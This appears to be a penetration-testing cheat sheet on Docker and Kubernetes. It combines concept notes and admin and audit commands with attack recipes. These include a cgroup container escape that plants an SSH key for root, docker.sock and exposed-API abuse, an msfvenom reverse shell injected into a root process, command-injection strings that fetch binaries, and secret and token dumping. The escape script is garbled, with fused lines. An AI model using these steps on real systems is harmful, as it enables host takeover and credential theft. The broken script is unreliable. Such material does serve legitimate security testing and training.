Docker && Kubernetes

Search…
Docker
Concepts
Docker Image
Read only file with OS, libraries and apps
Anyone can create a docker image
Images can be stored in Docker hub (default public registry) or private registry
Docker Container
Stateful instance of an image with a writable layer
Contains everything needed to run your application
Based on one or more images
Docker Registry
Repository of images
Docker Hub
Public docker registry
Dockerfile
Configuration file that contains instructions for building a Docker image
Docker-compose file
Configuration file for docker-compose
Docker Swarm
Group of machines that are running Docker and joined into a cluster.
When you run docker commands, they are executed by a swarm manager.
Portainer
Management solution for Docker hosts and Docker Swarm clusters
Via web interface
Docker capabilities
Turn the binary "root/non-root" into a fine-grained access control system.
Processes that just need to bind on a port below 1024 do not have to run as root, they can just be granted the net_bind_service capability instead.
Docker Control Groups
Used to allocate cpu, memory, network bandwith of host to container groups.
Commands
1
# Search in docker hub
2
docker search wpscan
3
# Run docker container from docker hub
4
docker run ubuntu:latest echo "Welcome to Ubuntu"
5
# Run docker container from docker hub with interactive tty
6
docker run --name samplecontainer -it ubuntu:latest /bin/bash
7
# List running containers
8
docker ps
9
# List all containers
10
docker ps -a
11
# List docker images
12
docker images
13
# Run docker in background
14
docker run --name pingcontainer -d alpine:latest ping 127.0.0.1 -c 50
15
# Get container logs
16
docker logs -f pingcontainer
17
# Run container service in specified port
18
docker run -d --name nginxalpine -p 7777:80 nginx:alpine
19
# Access tty of running container
20
docker exec -it nginxalpine sh
21
# Get low-level info of docker object
22
docker inspect (container or image)
23
# Show image history
24
docker history jess/htop
25
# Stop container
26
docker stop dummynginx
27
# Remove container
28
docker rm dummynginx
29
# Run docker with specified PID namespace
30
docker run --rm -it --pid=host jess/htop
31
​
32
# Show logs
33
docker logs containername
34
docker logs -f containername
35
# Show service defined logs
36
docker service logs
37
# Look generated real time events by docker runtime
38
docker system events
39
docker events --since '10m'
40
docker events --filter 'image=alpine'
41
docker events --filter 'event=stop'
42
​
43
# Compose application (set up multicontainer docker app)
44
docker-compose up -d
45
# List docker volumes
46
docker volume ls
47
# Create volume
48
docker volume create vol1
49
# List docker networks
50
docker network ls
51
# Create docker network
52
docker network create net1
53
# Remove captability of container
54
docker run --rm -it --cap-drop=NET_RAW alpine sh
55
# Check capabilities inside container
56
docker run --rm -it 71aa5f3f90dc bash
57
capsh --print
58
# Run full privileged container
59
docker run --rm -it --privileged=true 71aa5f3f90dc bash
60
capsh --print
61
# From full privileged container you can access host devices
62
more /dev/kmsg
63
​
64
# Creating container groups
65
docker run -d --name='low_priority' --cpuset-cpus=0 --cpu-shares=10 alpine md5sum /dev/urandom
66
docker run -d --name='high_priority' --cpuset-cpus=0 --cpu-shares=50 alpine md5sum /dev/urandom
67
# Stopping cgroups
68
docker stop low_priority high_priority
69
# Remove cgroups
70
docker rm low_priority high_priority
71
​
72
# Setup docker swarm cluster
73
docker swarm init
74
# Check swarm nodes
75
docker node ls
76
# Start new service in cluster
77
docker service create --replicas 1 --publish 5555:80 --name nginxservice
78
nginx:alpine
79
# List services
80
docker service ls
81
# Inspect service
82
docker service inspect --pretty nginxservice
83
# Remove service
84
docker service rm nginxservice
85
# Leave cluster
86
docker swarm leave (--force if only one node)
87
​
88
# Start portainer
89
docker run -d -p 9000:9000 --name portainer \
90
--restart always -v /var/run/docker.sock:/var/run/docker.sock \
91
-v /opt/portainer:/data portainer/portainer
92
​
93
​
94
# Tools
95
# https://github.com/lightspin-tech/red-kube
Copied!
Docker security basics
1
# Get image checksum
2
docker images --digests ubuntu
3
# Check content trust to get signatures
4
docker trust inspect mediawiki --pretty
5
# Check vulns in container
6
- Look vulns in base image
7
- Use https://vulners.com/audit to check for docker packages
8
- Inside any container
9
cat /etc/issue
10
dpkg-query -W -f='${Package} ${Version} ${Architecture}\n'
11
- Using Trivy https://github.com/aquasecurity/trivy
12
trivy image knqyf263/vuln-image:1.2.3
13
# Check metadata, secrets, env variables
14
docker inspect <image name>
15
docker inspect <container name>
16
# Review image history
17
docker history image:latest
18
# Inspect everything
19
docker volume inspect wordpress_db_data
20
docker network inspect wordpress_default
21
# Interesting look in the volume mountpoints
22
docker volume inspect whatever
23
cd /var/lib/docker/volumes/whatever
24
# Integrity check for changed files
25
docker diff imagename
26
# Check if you're under a container
27
https://github.com/genuinetools/amicontained#usage
28
# Docker Bench Security (Security Auditor)
29
cd /opt/docker-bench-security
30
sudo bash docker-bench-security.sh
Copied!
Detect inside a docker or running containers
1
- MAC Address
2
    - Docker uses a range from 02:42:ac:11:00:00 to 02:42:ac:11:ff:ff
3
- List of running processes (ps aux)
4
    - Small number of processes generally indicate a container
5
- CGROUPs
6
    - cat /proc/1/cgroup – should show docker process running
7
- Check for existence of docker.sock (ls -al /var/run/docker.sock)
8
- Check for container capabilities: capsh –print
9
- On Pentests, check for tcp ports 2375 and 2376 – Default docker daemon ports
Copied!
Escape NET_ADMIN docker container
1
# Check if you're NET_ADMIN
2
ip link add dummy0 type dummy
3
ip link delete dummy0
4
# If it works, this script execute 'ps aux' in host:
5
mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/xecho 1 > /tmp/cgrp/x/notify_on_release
6
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
7
echo "$host_path/cmd" > /tmp/cgrp/release_agentecho '#!/bin/sh' > /cmd
8
echo "ps aux > $host_path/output" >> /cmd
9
chmod a+x /cmdsh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
10
# You can replace the 'ps aux' command for:
11
cat id_dsa.pub >> /root/.ssh/authorized_keys
Copied!
Attack insecure volume mounts
1
# After get reverse shell in docker container (eg insecure webapp with RCE)
2
# This commands are executed inside insecure docker container
3
# Check if it's available docker.sock
4
ls -l /var/run/docker.sock
5
# This allows to access the host docker service using host option with docker client by using the UNIX socket
6
# Now download docker client in container and run commands in host
7
./docker -H unix:///var/run/docker.sock ps
8
./docker -H unix:///var/run/docker.sock images
Copied!
Attack docker misconfiguration
1
# Docker container with exposed ports running docker service
2
# Docker API is exposed in those docker ports
3
# Check query docker API with curl
4
curl 10.11.1.111:2375/images/json | jq .
5
# Then you can run commands in host machine
6
docker -H tcp://10.11.1.111:2375 ps
7
docker -H tcp://10.11.1.111:2375 images
Copied!
Audit Docker Runtime and Registries
1
# Runtime
2
​
3
# Host with multiple dockers running
4
# Check docker daemon
5
docker system info
6
# Check docker API exposed on 0.0.0.0
7
cat /lib/systemd/system/docker.service
8
# Check if docker socket is running in any container
9
docker inspect | grep -i '/var/run/'
10
# Check rest of files docker related
11
ls -l /var/lib/docker/
12
# Check for any secret folder
13
ls -l /var/run/
14
ls -l /run/
15
​
16
# Public Registries
17
# Docker registry is a distribution system for Docker images. There will be diferent images and each may contain multiple tags and versions. By default the registry runs on port 5000 without authentication and TLS
18
# Check if docker registry is up and running
19
curl -s http://localhost:5000/v2/_catalog | jq .
20
# Get tags of docker image
21
curl -s http://localhost:5000/v2/devcode/tags/list | jq .
22
# Download image locally
23
docker pull localhost:5000/devcode:latest
24
# Access container to review it
25
docker run --rm -it localhost:5000/devcode:latest sh
26
# Once mounted we can check the docker daemon config to see user and registry
27
docker system info
28
# And we can check the registries configured for the creds
29
cat ~/.docker/config.json
30
​
31
# Private registries
32
# Check catalog
33
curl 10.11.1.111:5000/v2/_catalog
34
# Get image tags
35
curl 10.11.1.111:5000/v2/privatecode/tags/list
36
# Add the insecure-registry tag to download docker image
37
vi /lib/systemd/system/docker.service
38
ExecStart=/usr/bin/dockerd -H fd:// --insecure-registry 10.11.1.111:5000
39
# Restart docker service
40
sudo systemctl daemon-reload
41
sudo service docker restart
42
# Download the image
43
docker pull 10.11.1.111:5000/privatecode:whatevertag
44
# Enter inside container and enumerate
45
docker run --rm -it 10.11.1.111:5000/privatecode:golang-developer-team sh
46
cd /app
47
ls -la
Copied!
Attack container capabilities
1
# Host with sys_ptrace capability enabled with host PID space. So it runs top command of host
2
# You're already inside container
3
# Check capabilities
4
capsh --print
5
# Upload reverse shell and linux-injector
6
msfvenom -p linux/x64/shell_reverse_tcp LHOST=IP LPORT=PORT -f raw -o payload.bin
7
# Check any process running as root
8
ps aux | grep root
9
./injector PID_RUNNING_AS_ROOT payload.bin
Copied!
Tools
1
# https://github.com/anchore/grype
2
# https://github.com/aquasecurity/trivy
3
# https://github.com/cr0hn/dockerscan
4
# https://github.com/P3GLEG/Whaler
5
# https://github.com/RhinoSecurityLabs/ccat
Copied!
Kubernetes
Concepts
Kubernetes is a security orchestrator
Kubernetes master provides an API to interact with nodes
Each Kubernetes node run kubelet to interact with API and kube-proxy to refect Kubernetes networking services on each node.
Kubernetes objects are abstractions of states of your system.
Pods: collection of container share a network and namespace in the same node.
Services: Group of pods running in the cluster.
Volumes: directory accesible to all containers in a pod. Solves the problem of loose info when container crash and restart.
Namespaces: scope of Kubernetes objects, like a workspace (dev-space).
Commands
1
# kubectl cli for run commands against Kubernetes clusters
2
# Get info
3
kubectl cluster-info
4
# Get other objects info
5
kubectl get nodes
6
kubectl get pods
7
kubectl get services
8
# Deploy
9
kubectl run nginxdeployment --image=nginx:alpine
10
# Port forward to local machine
11
kubectl port-forward <PODNAME> 1234:80
12
# Deleting things
13
kubectl delete pod
14
# Shell in pod
15
kubectl exec -it <PODNAME> sh
16
# Check pod log
17
kubectl logs <PODNAME>
18
# List API resources
19
kubectl api-resources
20
# Check permissions
21
kubectl auth can-i create pods
22
# Get secrets
23
kubectl get secrets <SECRETNAME> -o yaml
24
# Get more info of specific pod
25
kubectl describe pod <PODNAME>
26
# Get cluster info
27
kubectl cluster-info dump
28
​
29
# Known vulns
30
CVE-2016-9962
31
CVE-2018-1002105
32
CVE-2019-5736
33
CVE-2019-9901
Copied!
External Recon
1
# Find subdomains like k8s.target.tld
2
# Search for yaml files on GitHub
3
# Check etcdtcl exposed public 
4
etcdctl –endpoints=http://<MASTER-IP>:2379 get / –prefix –keys-only
5
# Check pods info disclosure on http://<external-IP>:10255/pods
Copied!
Common open ports
Common endpoints
Quick attacks
1
# Dump all
2
for res in $(kubectl api-resources -o name);do kubectl get "${res}" -A -o yaml > ${res}.yaml; done
3
​
4
# Check for anon access
5
curl -k https://<master_ip>:<port>
6
etcdctl –endpoints=http://<MASTER-IP>:2379 get / –prefix –keys-only
7
curl http://<external-IP>:10255/pods
8
​
9
#Dump tokens from inside the pod
10
kubectl exec -ti <pod> -n <namespace> cat /run/secrets/kubernetes.io/serviceaccount/token
11
​
12
#Dump all tokens from secrets
13
kubectl get secrets -A -o yaml | grep " token:" | sort | uniq > alltokens.txt
14
​
15
#Standard query for creds dump:
16
curl -v -H "Authorization: Bearer <jwt_token>" https://<master_ip>:<port>/api/v1/namespaces/<namespace>/secrets/
17
# This also could works /api/v1/namespaces/kube-system/secrets/
Copied!
Attack Private Registry misconfiguration
1
# Web application deployed vulnerable to lfi
2
# Read configuration through LFI
3
cat /root/.docker/config.json
4
# Download this file to your host and configure in your system
5
docker login -u _json_key -p "$(cat config.json)" https://gcr.io
6
# Pull the private registry image to get the backend source code
7
docker pull gcr.io/training-automation-stuff/backend-source-code:latest
8
# Inspect and enumerate the image
9
docker run --rm -it gcr.io/training-automation-stuff/backend-source-code:latest
10
# Check for secrets inside container
11
ls -l /var/run/secrets/kubernetes.io/serviceaccount/
12
# Check environment vars
13
printenv
Copied!
Attack Cluster Metadata with SSRF
1
# Webapp that check the health of other web applications
2
# Request to 
3
curl http://169.254.169.254/computeMetadata/v1/
4
curl http://169.254.169.254/computeMetadata/v1/instance/attributes/kube-env
Copied!
Attack escaping pod volume mounts to access node and host
1
# Webapp makes ping
2
# add some listing to find docker.sock
3
ping whatever;ls -l /custom/docker/
4
# Once found, download docker client
5
ping whatever;wget https://download.docker.com/linux/static/stable/x86_64/docker-18.09.1.tgz -O /root/docker-18.09.1.tgz
6
ping whatever;tar -xvzf /root/docker-18.09.1.tgz -C /root/
7
ping whatever;/root/docker/docker -H unix:///custom/docker/docker.sock ps
8
ping whatever;/root/docker/docker -H unix:///custom/docker/docker.sock images
Copied!
Tools
1
# kube-bench - secutity checker
2
kubectl apply -f kube-bench-node.yaml
3
kubectl get pods --selector job-name=kube-bench-node
4
kubectl logs kube-bench-podname
5
​
6
# https://github.com/aquasecurity/kube-hunter
7
kube-hunter --remote some.node.com
8
​
9
# kubeaudit
10
./kubeaudit all
11
​
12
# kubeletctl
13
# https://github.com/cyberark/kubeletctl
14
kubeletctl scan rce XXXXXXXX
15
​
16
# https://github.com/cdk-team/CDK
17
cdk evaluate
18
​
19
# Api audit
20
# https://github.com/averonesis/kubolt
21
​
22
# PurplePanda https://github.com/carlospolop/PurplePanda
Copied!
GCP
CDN - Comain Fronting
Last modified 3mo ago